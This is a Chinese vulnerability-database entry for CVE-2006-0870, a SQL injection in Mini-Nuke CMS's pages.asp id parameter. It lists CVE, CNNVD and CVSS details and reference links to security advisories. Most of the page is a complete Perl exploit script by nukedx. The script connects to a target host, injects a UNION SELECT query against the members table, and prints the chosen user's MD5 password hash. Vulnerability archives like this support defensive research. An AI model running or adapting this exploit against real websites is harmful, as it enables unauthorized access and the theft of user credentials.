MiniNuke CMS Pages.ASP SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109777 漏洞类型 SQL注入
发布时间 2006-02-19 更新时间 2006-04-26
CVE编号 CVE-2006-0870 CNNVD-ID CNNVD-200602-351
漏洞平台 ASP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1514
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200602-351
|漏洞详情
Mini-NukeCMSSystem1.8.2及之前版本的pages.asp中存在SQL注入漏洞。远程攻击者可以借助id参数执行任意SQL命令。注意:据报道,随后的2.3版也有漏洞。
|漏洞EXP
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Orginal advisory: http://www.nukedx.com/?viewdoc=9
#Usage: mini.pl <victim.com> </mininuke-dir> <userid>
use IO::Socket;
if(@ARGV != 3){
print "
+**********************************************************************+
+Welcome to MiniNuke CMS System all versions (pages.asp) SQL-inject xpl+
+            Usage: mini.pl <victim> <directory> <userid>              +
+                    Example: mini.pl sux.com / 1                      +
+               Method found & Exploit scripted by nukedx              +
+**********************************************************************+
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$port = "80";
$mndir = $ARGV[1];
$victimid = $ARGV[2];
$sreq ="http://".$server.$mndir."pages.asp?id=3%20union+select+0,kul_adi,sifre,0,0+from+members+where+uye_id=".$victimid;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$mns = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $mns "GET $sreq\n";
print $mns "Host: $server\n";
print $mns "Accept: */*\n";
print $mns "Connection: close\n\n";
print "+ Connected!...\n";
	while($answer = <$mns>) {
		if ($answer =~ /([\d,a-f]{32})/) { 
			print "+ USERID: $victimid\n";
                        print "+ MD5 HASH: $1\n";
			print "+**********************************************************************+\n";
			exit(); }
		if ($answer =~ /number of columns/) { 
                print "+ This version of Mini-Nuke is vulnerable too but default query of SQL-inject does not work on it\n";
                print "+ So please edit query by manually adding null data..\n";
                exit(); }
	}
print "+ Exploit failed\n";
print "+**********************************************************************+\n";

# nukedx.com [2006-02-19]

# milw0rm.com [2006-02-19]
|参考资料

来源:XF
名称:mininuke-pages-sql-injection(24803)
链接:http://xforce.iss.net/xforce/xfdb/24803
来源:BID
名称:17636
链接:http://www.securityfocus.com/bid/17636
来源:BID
名称:16730
链接:http://www.securityfocus.com/bid/16730
来源:BUGTRAQ
名称:20060420Mini-NUKEv2.3<<---SQLInjection
链接:http://www.securityfocus.com/archive/1/archive/1/431602/100/0/threaded
来源:BUGTRAQ
名称:20060321Mini-Nuke<=1.8.2SQLinjection(6)
链接:http://www.securityfocus.com/archive/1/archive/1/428361/100/0/threaded
来源:BUGTRAQ
名称:20060220MiniNukeCMSSystemallversions(pages.asp)SQLInjection
链接:http://www.securityfocus.com/archive/1/archive/1/425599/100/0/threaded
来源:OSVDB
名称:23438
链接:http://www.osvdb.org/23438
来源:MISC
链接:http://www.nukedx.com/?viewdoc=9
来源:SECUNIA
名称:18439
链接:http://secunia.com/advisories/18439
来源:BUGTRAQ
名称:20060421Re:Mini-NUKEv2.3<<---SQLInjection
链接:http://www.securityfocus.com/archive/1/archive/1/431714/100/0/threaded